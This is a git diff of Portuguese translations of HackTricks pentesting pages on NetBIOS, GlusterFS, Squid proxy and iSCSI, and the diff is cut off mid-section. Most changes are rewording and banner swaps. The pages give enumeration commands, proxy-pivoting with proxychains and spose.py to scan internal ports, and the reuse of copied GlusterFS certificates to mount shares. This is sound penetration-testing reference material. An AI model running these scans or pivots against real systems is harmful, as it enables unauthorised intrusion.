Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 137,138,139 - Teste de penetração no NetBios
# 137,138,139 - Pentesting NetBios
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Serviço de Nome NetBios
O **Serviço de Nome NetBIOS** desempenha um papel crucial, envolvendo vários serviços como **registro e resolução de nomes**, **distribuição de datagramas** e **serviços de sessão**, utilizando portas específicas para cada serviço.
**O Serviço de Nome NetBIOS** desempenha um papel crucial, envolvendo vários serviços, como **registro e resolução de nomes**, **distribuição de datagramas** e **serviços de sessão**, utilizando portas específicas para cada serviço.
[Do Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Serviço de nome para registro e resolução de nomes (portas: 137/udp e 137/tcp).
* Serviço de distribuição de datagramas para comunicação sem conexão (porta: 138/udp).
@ -26,12 +27,12 @@ O **Serviço de Nome NetBIOS** desempenha um papel crucial, envolvendo vários s
### Serviço de Nome
Para um dispositivo participar de uma rede NetBIOS, ele deve ter um nome único. Isso é alcançado por meio de um **processo de transmissão** onde um pacote "Consulta de Nome" é enviado. Se não houver objeções recebidas, o nome é considerado disponível. Alternativamente, um **servidor de Serviço de Nome** pode ser consultado diretamente para verificar a disponibilidade do nome ou para resolver um nome para um endereço IP. Ferramentas como `nmblookup`, `nbtscan` e `nmap` são utilizadas para enumerar serviços NetBIOS, revelando nomes de servidores e endereços MAC.
Para que um dispositivo participe de uma rede NetBIOS, ele deve ter um nome único. Isso é alcançado por meio de um **processo de broadcast** onde um pacote "Name Query" é enviado. Se nenhuma objeção for recebida, o nome é considerado disponível. Alternativamente, um **servidor de Serviço de Nome** pode ser consultado diretamente para verificar a disponibilidade do nome ou para resolver um nome em um endereço IP. Ferramentas como `nmblookup`, `nbtscan` e `nmap` são utilizadas para enumerar serviços NetBIOS, revelando nomes de servidores e endereços MAC.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Enumerar um serviço NetBIOS permite obter os nomes que o servidor está usando e o endereço MAC do servidor.
Enumerando um serviço NetBIOS, você pode obter os nomes que o servidor está usando e o endereço MAC do servidor.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
@ -39,18 +40,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Serviço de Distribuição de Datagramas
Os datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou de transmissão para todos os nomes de rede. Este serviço utiliza a porta **138/udp**.
Datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou transmissão para todos os nomes da rede. Este serviço utiliza a porta **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Serviço de Sessão
### Session Service
Para interações orientadas à conexão, o **Serviço de Sessão** facilita uma conversa entre dois dispositivos, aproveitando conexões **TCP** através da porta **139/tcp**. Uma sessão começa com um pacote de "Solicitação de Sessão" e pode ser estabelecida com base na resposta. O serviço suporta mensagens maiores, detecção de erros e recuperação, com o TCP lidando com controle de fluxo e retransmissão de pacotes.
Para interações orientadas a conexão, o **Session Service** facilita uma conversa entre dois dispositivos, aproveitando conexões **TCP** através da porta **139/tcp**. Uma sessão começa com um pacote de "Session Request" e pode ser estabelecida com base na resposta. O serviço suporta mensagens maiores, detecção de erros e recuperação, com o TCP lidando com controle de fluxo e retransmissão de pacotes.
A transmissão de dados dentro de uma sessão envolve **pacotes de Mensagem de Sessão**, com as sessões sendo encerradas ao fechar a conexão TCP.
A transmissão de dados dentro de uma sessão envolve pacotes de **Session Message**, com as sessões sendo encerradas ao fechar a conexão TCP.
Esses serviços são essenciais para a funcionalidade do **NetBIOS**, permitindo comunicação eficiente e compartilhamento de recursos em uma rede. Para obter mais informações sobre os protocolos TCP e IP, consulte suas respectivas páginas da [Wikipedia TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [Wikipedia IP](https://en.wikipedia.org/wiki/Internet_Protocol).
Esses serviços são integrais à funcionalidade do **NetBIOS**, permitindo comunicação eficiente e compartilhamento de recursos em uma rede. Para mais informações sobre os protocolos TCP e IP, consulte suas respectivas páginas [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -61,7 +62,7 @@ PORT STATE SERVICE VERSION
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
{% endcontent-ref %}
## Comandos Automáticos do HackTricks
## Comandos Automáticos HackTricks
```
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
@ -84,16 +85,17 @@ Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
**GlusterFS** é um **sistema de arquivos distribuído** que combina armazenamento de vários servidores em um **sistema unificado**. Ele permite **escalabilidade arbitrária**, o que significa que você pode facilmente adicionar ou remover servidores de armazenamento sem interromper o sistema de arquivos geral. Isso garante alta **disponibilidade** e **tolerância a falhas** para seus dados. Com o GlusterFS, você pode acessar seus arquivos como se estivessem armazenados localmente, independentemente da infraestrutura do servidor subjacente. Ele fornece uma solução poderosa e flexível para gerenciar grandes quantidades de dados em vários servidores.
**GlusterFS** é um **sistema de arquivos distribuído** que combina armazenamento de vários servidores em um **sistema unificado**. Ele permite **escalabilidade arbitrária**, o que significa que você pode facilmente adicionar ou remover servidores de armazenamento sem interromper o sistema de arquivos geral. Isso garante alta **disponibilidade** e **tolerância a falhas** para seus dados. Com o GlusterFS, você pode acessar seus arquivos como se estivessem armazenados localmente, independentemente da infraestrutura de servidor subjacente. Ele fornece uma solução poderosa e flexível para gerenciar grandes quantidades de dados em vários servidores.
**Portas padrão**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (em diante)\
Para a porta 49152, portas incrementadas em 1 precisam estar abertas para usar mais blocos. _Anteriormente, a porta 24009 era usada no lugar de 49152._
Para a porta 49152, as portas incrementadas em 1 precisam estar abertas para usar mais bricks. _Anteriormente, a porta 24009 era usada em vez de 49152._
```
PORT STATE SERVICE
24007/tcp open rpcbind
@ -43,19 +44,4 @@ Se você receber um **erro ao tentar montar o sistema de arquivos**, você pode
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
E armazenando-os em seu diretório da máquina `/etc/ssl` ou `/usr/lib/ssl` (se um diretório diferente for usado, verifique as linhas semelhantes a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nos logs) .
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
E armazenando-os em sua máquina no diretório `/etc/ssl` ou `/usr/lib/ssl` (se um diretório diferente for usado, verifique linhas semelhantes a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nos logs).

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
# Informações Básicas
Do [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
De [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
> **Squid** é um proxy web HTTP de cache e encaminhamento. Possui uma ampla variedade de usos, incluindo acelerar um servidor web por meio do cache de solicitações repetidas, cache de web, DNS e outras pesquisas de rede de computadores para um grupo de pessoas compartilhando recursos de rede, e auxiliar na segurança filtrando o tráfego. Embora seja usado principalmente para HTTP e FTP, o Squid inclui suporte limitado para vários outros protocolos, incluindo Internet Gopher, SSL, TLS e HTTPS. O Squid não suporta o protocolo SOCKS, ao contrário do Privoxy, com o qual o Squid pode ser usado para fornecer suporte SOCKS.
> **Squid** é um proxy web HTTP de cache e encaminhamento. Ele tem uma ampla variedade de usos, incluindo acelerar um servidor web armazenando em cache solicitações repetidas, armazenando em cache buscas web, DNS e outras buscas de rede de computadores para um grupo de pessoas compartilhando recursos de rede, e ajudando na segurança filtrando o tráfego. Embora seja usado principalmente para HTTP e FTP, o Squid inclui suporte limitado para vários outros protocolos, incluindo Internet Gopher, SSL, TLS e HTTPS. O Squid não suporta o protocolo SOCKS, ao contrário do Privoxy, com o qual o Squid pode ser usado para fornecer suporte SOCKS.
**Porta padrão:** 3128
```
@ -28,35 +29,36 @@ PORT STATE SERVICE VERSION
## Proxy Web
Você pode tentar configurar este serviço descoberto como um proxy em seu navegador. No entanto, se estiver configurado com autenticação HTTP, você será solicitado a fornecer nomes de usuário e senha.
Você pode tentar definir este serviço descoberto como proxy em seu navegador. No entanto, se estiver configurado com autenticação HTTP, você será solicitado a fornecer nomes de usuário e senha.
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
```
## Nmap proxificado
Também é possível tentar abusar do proxy para **escanear portas internas por meio do nmap**.\
Configure o proxychains para usar o proxy squid adicionando a seguinte linha ao final do arquivo proxichains.conf: `http 10.10.10.10 3128`
Para proxies que exigem autenticação, acrescente credenciais à configuração incluindo o nome de usuário e senha ao final: `http 10.10.10.10 3128 username passw0rd`.
Você também pode tentar abusar do proxy para **escanear portas internas proxificando nmap**.\
Configure o proxychains para usar o proxy squid adicionando a seguinte linha no final do arquivo proxichains.conf: `http 10.10.10.10 3128`
Para proxies que requerem autenticação, anexe as credenciais à configuração incluindo o nome de usuário e a senha no final: `http 10.10.10.10 3128 username passw0rd`.
Em seguida, execute o nmap com o proxychains para **escanear o host local**: `proxychains nmap -sT -n -p- localhost`
Então execute o nmap com proxychains para **escanear o host localmente**: `proxychains nmap -sT -n -p- localhost`
## Scanner SPOSE
## SPOSE Scanner
Alternativamente, o Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) pode ser utilizado.
Alternativamente, o Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) pode ser usado.
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 3260 - Pentesting ISCSI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
Do [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
De [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
> Em computação, **iSCSI** é um acrônimo para **Internet Small Computer Systems Interface**, um padrão de rede de armazenamento baseado em Protocolo de Internet (IP) para conectar instalações de armazenamento de dados. Ele fornece acesso em nível de bloco a dispositivos de armazenamento transportando comandos SCSI por uma rede TCP/IP. O iSCSI é usado para facilitar transferências de dados em intranets e para gerenciar armazenamento em longas distâncias. Pode ser usado para transmitir dados em redes locais (LANs), redes de longa distância (WANs) ou na Internet e pode permitir armazenamento e recuperação de dados independentes de localização.
> Em computação, **iSCSI** é um acrônimo para **Internet Small Computer Systems Interface**, um padrão de rede de armazenamento baseado em Protocolo de Internet (IP) para conectar instalações de armazenamento de dados. Ele fornece acesso em nível de bloco a dispositivos de armazenamento, transportando comandos SCSI por uma rede TCP/IP. iSCSI é usado para facilitar transferências de dados sobre intranets e para gerenciar armazenamento a longas distâncias. Pode ser usado para transmitir dados sobre redes de área local (LANs), redes de área ampla (WANs) ou a Internet e pode permitir armazenamento e recuperação de dados independentes de localização.
>
> O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de área de armazenamento (SAN), permitindo que organizações consolidem o armazenamento em matrizes de armazenamento, enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI localmente conectados. Ele compete principalmente com Fibre Channel, mas ao contrário do Fibre Channel tradicional que geralmente requer cabeamento dedicado, o iSCSI pode ser executado em longas distâncias usando a infraestrutura de rede existente.
> O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de área de armazenamento (SAN), permitindo que organizações consolidem armazenamento em matrizes de armazenamento, enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI conectados localmente. Ele compete principalmente com Fibre Channel, mas, ao contrário do Fibre Channel tradicional, que geralmente requer cabeamento dedicado, o iSCSI pode ser executado a longas distâncias usando a infraestrutura de rede existente.
**Porta padrão:** 3260
```
@ -35,17 +36,17 @@ Este script indicará se a autenticação é necessária.
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Montar ISCSI no Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use_iSCSI_target_on_Linux)
### [Montar ISCSI no Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Nota:** Você pode descobrir que, quando seus alvos são descobertos, eles são listados sob um endereço IP diferente. Isso tende a acontecer se o serviço iSCSI estiver exposto via NAT ou um IP virtual. Em casos como esses, `iscsiadmin` falhará ao se conectar. Isso requer duas alterações: uma no nome do diretório do nó criado automaticamente por suas atividades de descoberta e outra no arquivo `default` contido neste diretório.
**Nota:** Você pode descobrir que, quando seus alvos são descobertos, eles estão listados sob um endereço IP diferente. Isso tende a acontecer se o serviço iSCSI estiver exposto via NAT ou um IP virtual. Em casos como esses, `iscsiadmin` falhará ao tentar se conectar. Isso requer duas alterações: uma no nome do diretório do nó criado automaticamente por suas atividades de descoberta e uma no arquivo `default` contido dentro deste diretório.
Por exemplo, se você está tentando se conectar a um alvo iSCSI em 123.123.123.123 na porta 3260. O servidor que expõe o alvo iSCSI está na verdade em 192.168.1.2, mas exposto via NAT. O isciadm registrará o endereço _interno_ em vez do endereço _público_:
Por exemplo, você está tentando se conectar a um alvo iSCSI em 123.123.123.123 na porta 3260. O servidor que expõe o alvo iSCSI está na verdade em 192.168.1.2, mas exposto via NAT. isciadm registrará o endereço _interno_ em vez do endereço _público_:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...]
```
Este comando irá criar um diretório no seu sistema de arquivos assim:
Este comando criará um diretório no seu sistema de arquivos assim:
```
